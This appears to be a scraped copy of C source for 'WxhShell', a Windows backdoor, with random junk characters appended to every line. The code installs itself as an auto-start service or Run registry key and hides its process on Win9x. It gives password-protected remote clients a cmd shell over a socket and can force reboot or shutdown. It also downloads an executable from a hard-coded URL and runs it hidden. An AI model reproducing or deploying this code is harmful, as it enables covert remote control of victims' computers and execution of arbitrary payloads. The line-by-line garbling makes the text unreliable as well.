  // 关机 V 6reqEh  
  case 'd': { R/z=p_6p7`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 81Z) eO#  
    if(Boot(SHUTDOWN)) ^$hH1H+V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pcWPH.  
    else { v^ V itLC  
    closesocket(wsh); z~ /` 1  
    ExitThread(0); q5)O%l!  
    } ut7zVp<"  
    break; [K0(RDV)%  
    } K(,F~ .<  
  // 获取shell [E juUElr  
  case 's': { I4i>+:_J  
    CmdShell(wsh); HCC#j9UN6  
    closesocket(wsh); %Y*Ndt4  
    ExitThread(0); wcY? rE9  
    break; JrRH\+4K  
  } j HJ`,#  
  // 退出 u5f9Jw}  
  case 'x': { j\^CV?}sm'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a HR"n|7{  
    CloseIt(wsh); y/ ef>ZZ  
    break; *YuF0Yt  
    } 9m~p0ILh  
  // 离开 *wB1,U{  
  case 'q': { 5taT5?n2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7\Y0z  
    closesocket(wsh); -z%^)VE  
    WSACleanup(); q9r[$%G  
    exit(1); ZRU{ [4  
    break; 6gu!bu`~  
        } CdjI`  
  } lchPpm9  
  } sN01rtB(UT  
6zuTQ^pz  
  // 提示信息 ou{2@"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $C$V%5aA  
} V{3x!+q  
  } -fW*vE:  
&(l9?EVq1  
  return; #fn)k1  
} ,M ^<CJ  
@O^6&\s>  
// shell模块句柄 dE{dZ#Jfi  
int CmdShell(SOCKET sock) ]Ntmy;Q   
{ jkF^-Up.  
STARTUPINFO si; \\B(r  
ZeroMemory(&si,sizeof(si)); XYOC_.f1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VY=jc~c]v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h^(* Tv-!  
PROCESS_INFORMATION ProcessInfo; dn$!&  
char cmdline[]="cmd"; z/2//mM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A0 C,tVd  
  return 0; 3eAX.z`D  
} }Sh?S]]`  
mLLDE;7|}  
// 自身启动模式 V#gK$uv  
int StartFromService(void) gu.}M:u  
{ v\%HPMlh  
typedef struct XW)lDiJl  
{ o~y;j75{.*  
  DWORD ExitStatus; c2 C8g1n  
  DWORD PebBaseAddress; 2B&3TLO  
  DWORD AffinityMask; 4*cEag   
  DWORD BasePriority; w;:*P  
  ULONG UniqueProcessId; ,G?WAOy,  
  ULONG InheritedFromUniqueProcessId; h_,i&d@(  
}   PROCESS_BASIC_INFORMATION; j@3Q;F0ba  
q\4Xs$APq  
PROCNTQSIP NtQueryInformationProcess; 9W1YW9rL  
DgQp HF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +.b,AqJ/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .2Elr(&*h  
yEoF4bt  
  HANDLE             hProcess; Ww+IWW@  
  PROCESS_BASIC_INFORMATION pbi; Ad9}9!<  
ZI}Fom<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,K"U> &  
  if(NULL == hInst ) return 0; ]dmrkZz:  
&d?CCb$|0Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }?_?V&K|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qv KG-|j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z3m85F%dR  
WUXx;9>  
  if (!NtQueryInformationProcess) return 0; o&)8o5  
k1Y?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); goOCu  
  if(!hProcess) return 0; k&vz 7Q`T  
2,b(,3{`4:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q%f^)HZGR  
nuMD!qu!nZ  
  CloseHandle(hProcess); g63(E,;;J  
/cQueUME`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _P 3G  
if(hProcess==NULL) return 0; ND#Yen ye  
-[9JJ/7y  
HMODULE hMod; `*cxH..  
char procName[255]; 3-qr)h  
unsigned long cbNeeded; !v_|zoCEj  
Ru!iR#s)!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'ud{m[|  
6"O+w=5B  
  CloseHandle(hProcess); 03qQ'pq  
r Iu$pZO  
if(strstr(procName,"services")) return 1; // 以服务启动 S\YTX%Xm}  
gw3K+P  
  return 0; // 注册表启动 `O!X((  
} /h H  
lH x^D;m6  
// 主模块 RYQR(v  
int StartWxhshell(LPSTR lpCmdLine) t?-n*9,#S  
{ 5z8d} I  
  SOCKET wsl; b"uu  
BOOL val=TRUE; P%:wAYz1^O  
  int port=0; ~"&|W'he[  
  struct sockaddr_in door; HU8900k+  
n,V[eW#m'L  
  if(wscfg.ws_autoins) Install(); p{ Yv3dNl  
F^t DL:  
port=atoi(lpCmdLine); wc NOLUl  
HJLG=mU  
if(port<=0) port=wscfg.ws_port; G )trG9 .a  
gx8ouOh  
  WSADATA data; k"T}2 7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FxtQXu-g  
F|o:W75  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j_!F*yul  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7{)G_?Q&  
  door.sin_family = AF_INET; 9Zt`u,;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5j<mbt}  
  door.sin_port = htons(port); :uq\+(9  
,]ma+(|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tqvN0vY5  
closesocket(wsl); D9 CaFu  
return 1; J6s`'gFns  
} qo90t{|c  
'KS,'%  
  if(listen(wsl,2) == INVALID_SOCKET) { nQX:T;WL@  
closesocket(wsl); uD$u2  
return 1; hk(ZM#Bh  
} o/$}  
  Wxhshell(wsl); nA-.mWD_C  
  WSACleanup(); ]YnD  
\ =?a/  
return 0; w(*vj  
'8RsN-w  
} (lBCO?`fx  
F# ,90F'  
// 以NT服务方式启动 55nlg>j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R[h9"0Y^  
{ g|DF[  
DWORD   status = 0; q1$N>;&  
  DWORD   specificError = 0xfffffff; p*R;hU  
}{K) 4M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W7R<%?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UN;H+gNnN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ld|5TN1  
  serviceStatus.dwWin32ExitCode     = 0; G6q }o)[m)  
  serviceStatus.dwServiceSpecificExitCode = 0; fn jPSts0  
  serviceStatus.dwCheckPoint       = 0; F 5bj=mI  
  serviceStatus.dwWaitHint       = 0; n71r_S*  
*KZYv=s,u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M)J5;^["  
  if (hServiceStatusHandle==0) return; 9-VNp;V  
=1FRFZI!j  
status = GetLastError(); o lR?n(v  
  if (status!=NO_ERROR) q 6:dy  
{ Uu10)/.LC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UAkT*'cB  
    serviceStatus.dwCheckPoint       = 0; !=*g@mgF  
    serviceStatus.dwWaitHint       = 0; sQ UM~HD\a  
    serviceStatus.dwWin32ExitCode     = status; ="1Ind@w!  
    serviceStatus.dwServiceSpecificExitCode = specificError; GfxZ'VIn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fa jGZyd0:  
    return; :KSV4>X[%a  
  } rKe2/4>0X  
fy>{QC\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y|C(X  
  serviceStatus.dwCheckPoint       = 0; -]N x,{  
  serviceStatus.dwWaitHint       = 0; 9tU]`f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ''A_[J `>  
} 2@n{yYwy  
[`#CXq'  
// 处理NT服务事件,比如:启动、停止 @ wGPqg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SB;&GHq"n  
{ .9/ hHCp  
switch(fdwControl) ;V:i!u u  
{ &&5aM  
case SERVICE_CONTROL_STOP: )!th7sH  
  serviceStatus.dwWin32ExitCode = 0; 0cv{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g+8OekzB5  
  serviceStatus.dwCheckPoint   = 0; /QK6Rac-  
  serviceStatus.dwWaitHint     = 0; uanhr)Ys  
  { 8l>?Pv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 C1#/  
  } J|W<;  
  return; 1jmjg~W  
case SERVICE_CONTROL_PAUSE: px A?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A9KET$i@v  
  break; .Yamc#A-  
case SERVICE_CONTROL_CONTINUE: m<<+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?(@ 7r_j  
  break; 6+:iy'-  
case SERVICE_CONTROL_INTERROGATE: ~dyTVJ$  
  break; bbDZ#DK"  
}; 8 `v-<J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7(W?xOe  
} paA(C|%{  
AwCcK6N1  
// 标准应用程序主函数 6iry6wcHm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hc;[Cs0  
{ f$o_e90mu  
vz@A;t  
// 获取操作系统版本 3<e=g)F  
OsIsNt=GetOsVer(); Yj<a" Gr4[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7m47rJyW4  
bt@< ut\  
  // 从命令行安装 vO H4#  
  if(strpbrk(lpCmdLine,"iI")) Install(); XnH05LQ  
3p$?,0ELH  
  // 下载执行文件 *[Imn\hu  
if(wscfg.ws_downexe) { H9Gh>u]}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RF?`vRZOe  
  WinExec(wscfg.ws_filenam,SW_HIDE); sbfuzpg]*  
} O0*p0J  
F;Spi  
if(!OsIsNt) { `_6C {<O  
// 如果时win9x,隐藏进程并且设置为注册表启动 H-!,yte  
HideProc(); 9sM!`Lz{  
StartWxhshell(lpCmdLine); (=FRmdeYl1  
} . o6Or:L  
else I:-Wy"i  
  if(StartFromService()) P7ao5NP  
  // 以服务方式启动 3 #n_?-  
  StartServiceCtrlDispatcher(DispatchTable); O"+ gQXe  
else ,=uD^n:  
  // 普通方式启动 mn'A9er  
  StartWxhshell(lpCmdLine); c rQ8q;:  
K,tQ!kk  
return 0; ;gD})@  
} %6t:(z  
av(6wht8  
3RUy, s  
fQ7V/x!  
=========================================== eYc$ dPE  
8%:Iv(UMk  
7:e{;iG  
:S]\0;8]  
,10=  
wC"FDr+  
" M+oHtX$  
XjBW9a  
#include <stdio.h> ,S\CC{!  
#include <string.h> S0$8@"~=  
#include <windows.h> y1z4ik)Sd@  
#include <winsock2.h> ufj,T7g^  
#include <winsvc.h> g9OY<w5s]  
#include <urlmon.h> BqEI(c 6  
D=TvYe  
#pragma comment (lib, "Ws2_32.lib") O/^ %2mG  
#pragma comment (lib, "urlmon.lib") t <~h'U  
>:SHV W  
#define MAX_USER   100 // 最大客户端连接数 g%o(+d  
#define BUF_SOCK   200 // sock buffer OU E (I3_  
#define KEY_BUFF   255 // 输入 buffer REQ\>UO_  
iG $!6;w<  
#define REBOOT     0   // 重启 XMZ,Y7  
#define SHUTDOWN   1   // 关机 {.`vs;U  
+tB=OwU%0  
#define DEF_PORT   5000 // 监听端口 ]IaMp788  
~"gA,e-)  
#define REG_LEN     16   // 注册表键长度 cF*TotU_m  
#define SVC_LEN     80   // NT服务名长度 :S]%6gb8G  
c&6 I[ R  
// 从dll定义API e b"VE%+Hu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -au^;CM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xl{=Y< ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]dVGUG8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4>YR{  
]U?^hZ_  
// wxhshell配置信息 <(#(hDwy  
struct WSCFG { 0J*??g-n  
  int ws_port;         // 监听端口 *YI98  
  char ws_passstr[REG_LEN]; // 口令 yHYsZ,GE  
  int ws_autoins;       // 安装标记, 1=yes 0=no `K"L /I9  
  char ws_regname[REG_LEN]; // 注册表键名 v4<nI;Ux  
  char ws_svcname[REG_LEN]; // 服务名 YO`]UQ|dc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +SzU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3qgS&js 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uuEV_"X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6dQ-HI*Y#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a9e>iU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2 B1q*`6R  
P.se'z)E  
}; rE7G{WII  
PxX 4[ P  
// default Wxhshell configuration LG0;#3YwH  
struct WSCFG wscfg={DEF_PORT, h#I>M`|  
    "xuhuanlingzhe", $V;i '(&7  
    1, xh-o}8*n"  
    "Wxhshell", z9f-.72"X  
    "Wxhshell", 1}+3dB_s  
            "WxhShell Service", (le9q5Qr.  
    "Wrsky Windows CmdShell Service", Bg=wKwc8  
    "Please Input Your Password: ", =}^9 wP  
  1, AD> e?u  
  "http://www.wrsky.com/wxhshell.exe", :]K4KFM  
  "Wxhshell.exe" Z9E\,Ly  
    }; `%bypHeSp  
Xfc-UP|}  
// 消息定义模块 q_lKKzA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L<c4kw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t|?ez4/{z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j a[Et/r  
char *msg_ws_ext="\n\rExit."; J`Q>3] wL  
char *msg_ws_end="\n\rQuit."; $GV7o{"&  
char *msg_ws_boot="\n\rReboot..."; 'ycJMYP8  
char *msg_ws_poff="\n\rShutdown..."; 9yu\ Ot  
char *msg_ws_down="\n\rSave to "; , u=`uD  
p>,|50|  
char *msg_ws_err="\n\rErr!"; YpHg&|Fr  
char *msg_ws_ok="\n\rOK!"; @)+AaC#-  
gk4;>}  
char ExeFile[MAX_PATH]; Z3e| UAif  
int nUser = 0; /V8 #[9K  
HANDLE handles[MAX_USER]; *tFHM &a  
int OsIsNt; "s-"<&>a(  
a~`eQ_N D  
SERVICE_STATUS       serviceStatus; k8yEdi`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Eh`7X=Z7E  
Ufj`euY  
// 函数声明 m,28u3@r  
int Install(void); ;]puq  
int Uninstall(void); _RYxD"m y  
int DownloadFile(char *sURL, SOCKET wsh); 3yme1Mb  
int Boot(int flag); e4$H&'b|  
void HideProc(void); jdP2Pf^^  
int GetOsVer(void); @ y.?:7I  
int Wxhshell(SOCKET wsl); >{ ]%F*p4  
void TalkWithClient(void *cs); v~+(GqR=+  
int CmdShell(SOCKET sock); g'f@H-KCD  
int StartFromService(void); tIi&;tw]  
int StartWxhshell(LPSTR lpCmdLine); dbLZc$vPj  
OO\+J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YDsb3X<0'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;V_e>TyG  
lBE= (A`  
// 数据结构和表定义  7Die FZ?  
SERVICE_TABLE_ENTRY DispatchTable[] = eIF5ZPSZi  
{ ?,Xw[pR  
{wscfg.ws_svcname, NTServiceMain}, ;O5zUl-`  
{NULL, NULL} Ty\R=y}}  
}; ;C#F>SG\S  
,pfG  
// 自我安装 %Xg4b6<9  
int Install(void) R{4^t97wH{  
{ P:S.~Jq  
  char svExeFile[MAX_PATH]; uc{Ihw  
  HKEY key; g/_5unI}u  
  strcpy(svExeFile,ExeFile); ~At7 +F[  
2W(s(-hD  
// 如果是win9x系统,修改注册表设为自启动 I|!OY`ko  
if(!OsIsNt) { hag$GX'2k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MKCsv+   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w "F 9l  
  RegCloseKey(key); \7eUw,~Q>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,t744k')  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UgRiIQMq.  
  RegCloseKey(key); ztY}5A2`  
  return 0; VCfl`Aq'l  
    } s) t@ol  
  } M?49TOQA  
} ;d$rdFA_  
else { qq`4<0I>  
octL"t8w  
// 如果是NT以上系统,安装为系统服务 bs&43Ae  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }K>d+6qk5  
if (schSCManager!=0) @{e}4s?7od  
{ ]q[D>6_  
  SC_HANDLE schService = CreateService l'1pw  
  ( ~/U 1xk%  
  schSCManager, [aLI '  
  wscfg.ws_svcname, ,ng Cv;s  
  wscfg.ws_svcdisp, S?LQu  
  SERVICE_ALL_ACCESS, 2.y-48Nz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dQX6(J j  
  SERVICE_AUTO_START, QL/(72K  
  SERVICE_ERROR_NORMAL, jd"@t*ZV  
  svExeFile, cZ*@$%_  
  NULL, O\tb R=  
  NULL, xH,a=8&9  
  NULL, 7z,C}-q  
  NULL, Q\vpqE! 9  
  NULL zI uJ-8T"  
  ); 1H`,WQ1mG  
  if (schService!=0) =I5>$}q_&,  
  { ">nxHU  
  CloseServiceHandle(schService); On?v|10r'  
  CloseServiceHandle(schSCManager); l&zilVVm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  > |=ts  
  strcat(svExeFile,wscfg.ws_svcname); H41?/U,{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ty!`T+3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qel9G($=  
  RegCloseKey(key); hZ,_ 6mNg  
  return 0; I 34>X`[o  
    } a-tmq]]E  
  } @1j   
  CloseServiceHandle(schSCManager); QIEJ6`  
} #X$\&,Yn"  
} W@IQ^ }E  
,qwuLBW  
return 1; ue"~9JK.  
} 9=tIz  
d-ko ^Y0  
// 自我卸载 o/)h"i0P  
int Uninstall(void) JR|ck=tq  
{ 1&OW4_  
  HKEY key; q i;1L Kc  
>:!5*E5?  
if(!OsIsNt) { c6]U E@A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0mVNQxHI  
  RegDeleteValue(key,wscfg.ws_regname); qR{=pR  
  RegCloseKey(key); hfTY.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H?Wya.7  
  RegDeleteValue(key,wscfg.ws_regname); J;e2&gB  
  RegCloseKey(key); C) s5D  
  return 0; 0+ '&`Q!u  
  } 5tk AFb4P  
} =qIp2c}Rx  
} B$K=\6o  
else { Q&;9 x?e  
?V=ZIGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uzPV To|=  
if (schSCManager!=0) q`-N7 ,$T  
{ 33q}CzK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^ @5QP$.  
  if (schService!=0) V!=,0zy~Z  
  { *&W"bOMH*  
  if(DeleteService(schService)!=0) { `w Vyb>T  
  CloseServiceHandle(schService); `h\j99  
  CloseServiceHandle(schSCManager); J@'wf8Ub  
  return 0; "S]TP$O D  
  } )&O %*@F  
  CloseServiceHandle(schService); 3 i0_hZ  
  } BWrxunHO  
  CloseServiceHandle(schSCManager); BU_nh+dF  
} x9g#<2w8  
} X_h}J=33Q  
cT,sh~-x,  
return 1; bE..P&"  
} m s \}  
{\5  
// 从指定url下载文件 ~ 7s!VR  
int DownloadFile(char *sURL, SOCKET wsh) q9_OGd|P  
{ # W']6'O  
  HRESULT hr; teF9Q+*~  
char seps[]= "/"; \b x$i*  
char *token; 2ilQXy  
char *file; ~0$&3a<n1  
char myURL[MAX_PATH]; FZlWsp=  
char myFILE[MAX_PATH]; oc`H}Wvn  
F41=b4/  
strcpy(myURL,sURL); 3 0H?KAV  
  token=strtok(myURL,seps); ,"ZMRq  
  while(token!=NULL) ?a5!H*,  
  { T5h H  
    file=token; 4[e X e$  
  token=strtok(NULL,seps); zF<R'XP  
  } @9s$4DS  
H{wl% G  
GetCurrentDirectory(MAX_PATH,myFILE); L4HI0Mx  
strcat(myFILE, "\\"); /4Gt{yg Sr  
strcat(myFILE, file); jL luj   
  send(wsh,myFILE,strlen(myFILE),0); R/YqyT\SM  
send(wsh,"...",3,0); :F?C)F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %h@EP[\  
  if(hr==S_OK) &8lZNv8;(p  
return 0; e7 o.xR  
else y)@wjH{6  
return 1; K0>zxqY  
o+'6`g'8  
} 0(HU}I  
f:} x7_Q  
// 系统电源模块 sgFEK[w.y  
int Boot(int flag) k,*XG$2h  
{ *2l7f`K  
  HANDLE hToken; !Vk^TFt`  
  TOKEN_PRIVILEGES tkp; KWHY4  
7[)E>XRE  
  if(OsIsNt) { 4WB0Pt{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ktIFI`@ w)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UK!(G  
    tkp.PrivilegeCount = 1; !Uo4,g6r+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $UwCMPs X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]f_p 8?j"  
if(flag==REBOOT) { bt?5*ETA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mfr|:i  
  return 0; z{QqY.Gu{G  
} W=?<<dVYD  
else { ? J0y|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z`i(qCAd(  
  return 0; %N._w!N<5n  
} 6gDN`e,@  
  } yG{TH0tq  
  else { Le^ n +5x  
if(flag==REBOOT) { ;xTpE2 -~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SXh-A1t  
  return 0; wCBplaojJ  
} :ws<-Qy  
else { (bS&D/N.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }SZd  
  return 0; 3v-~K)hl?  
} Vurq t_nb  
} %cn<ych G  
SpBy3wd  
return 1; ~xTt204S  
} LghfM"g  
u ga_T  
// win9x进程隐藏模块 6u6x  
void HideProc(void) A#,ZUOPGH  
{ ;'1d1\wiDQ  
xE}>,O|'q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8ao_i=&x  
  if ( hKernel != NULL ) UiNP3TJ'L  
  { V;=cwy)I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6y<EgYzdE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DY*N|OnqJ  
    FreeLibrary(hKernel); EU#^7  
  } %C]>9."  
>$7B wO  
return; zH r_!~  
} Z\sDUJ  
'"s@enD0y  
// 获取操作系统版本 %yC,^  
int GetOsVer(void) v$9y,^p@e  
{ pgo$ 61  
  OSVERSIONINFO winfo; DmcZta8n]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Y,Z %d  
  GetVersionEx(&winfo); kx^/*~ex  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :4|4=mkr  
  return 1; !)$Zp\Sg  
  else XWw804ir  
  return 0; Zd+bx*rD  
} /9X7A;O  
7+*WH|Z@  
// 客户端句柄模块  D%Z|  
int Wxhshell(SOCKET wsl) %iB,IEw  
{ `D9$v(Ztr  
  SOCKET wsh; \M-OC5fQv  
  struct sockaddr_in client; O/LXdz0B  
  DWORD myID; EQ_aa@M7  
<VE@DBWyl~  
  while(nUser<MAX_USER) dRMx[7jVA  
{ : Dp0?&_  
  int nSize=sizeof(client); F'Z,]b'st3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w-jVC^C]  
  if(wsh==INVALID_SOCKET) return 1; )/P}?` I  
lhJ'bYI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uAk.@nfiEv  
if(handles[nUser]==0) ?7A>+EY  
  closesocket(wsh); aq-~B~c`g  
else *1"+%Z^  
  nUser++; =~gvZV-<  
  } a'T;x`b8U,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dr"1s-D4IQ  
Xa&kIq}(g  
  return 0; /wv0i3_e  
} <3 uNl  
'%;m?t% q  
// 关闭 socket Dp:BU|r  
void CloseIt(SOCKET wsh) vQ.R{!",>  
{ EM_d8o)`B  
closesocket(wsh); gM]:Ma  
nUser--; d zMb5puH  
ExitThread(0); MK*r+xfSae  
} Q{/Ef[(a@  
TqQ[_RKg2  
// 客户端请求句柄 Ort(AfW  
void TalkWithClient(void *cs) Nboaf  
{ OTv)  
\7_y%HR  
  SOCKET wsh=(SOCKET)cs; @VI@fN  
  char pwd[SVC_LEN]; @6]JIJE  
  char cmd[KEY_BUFF]; {..6>fS  
char chr[1]; Ul# r  
int i,j; N>E_%]Ch  
D+c>F5  
  while (nUser < MAX_USER) { x1<|hTPk  
A}^mdw9  
if(wscfg.ws_passstr) { {{1G`;|v 9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =MWHJ'3-/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |BYRe1l6l  
  //ZeroMemory(pwd,KEY_BUFF); iRBfx  
      i=0; )B*t :tN  
  while(i<SVC_LEN) { kf9X$d6   
m[2gdJK  
  // 设置超时 Bp{Ri_&A  
  fd_set FdRead; bK7J}8hH  
  struct timeval TimeOut; &3&HY:yF  
  FD_ZERO(&FdRead); g{LP7 D;6  
  FD_SET(wsh,&FdRead); )PZT4jTt  
  TimeOut.tv_sec=8; V~#tuv  
  TimeOut.tv_usec=0; d=^z`nt !R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {G-kNU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cb bFw  
s[N@0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Ey5n!0:  
  pwd=chr[0]; ,z6~?6m  
  if(chr[0]==0xd || chr[0]==0xa) { 0`H# '/  
  pwd=0; M\=2uKG#  
  break; ,u m|1dh  
  } )}v l\7=  
  i++; P {'b:C  
    } `_h&glMJ,q  
8k79&|  
  // 如果是非法用户,关闭 socket P~dcW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =u;MCQ[  
} P2Y^d#jO  
!9x}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R-Sym8c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TZ`SZDc7_  
S>{~nOYt-`  
while(1) { =c7;r]Ol  
V8(-  
  ZeroMemory(cmd,KEY_BUFF); pot~<d`:K"  
IA(5?7x`<  
      // 自动支持客户端 telnet标准   7z-[f'EIUI  
  j=0; ^Dx&|UwiZa  
  while(j<KEY_BUFF) { w =KPT''!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %)n=x ne  
  cmd[j]=chr[0]; jdBLsy@  
  if(chr[0]==0xa || chr[0]==0xd) { Pz^544\~ou  
  cmd[j]=0; 4P0}+  
  break; @ P|y{e6  
  } x"g&#Vq ~  
  j++; EV?z`jE9  
    } W!<U85-#S  
j.YA 2mr  
  // 下载文件 +|rj4j)L&'  
  if(strstr(cmd,"http://")) { _*zt=zn>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vv7I_nK?  
  if(DownloadFile(cmd,wsh)) OJxl<Q=z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\LQ3y"[  
  else F!do~Z  
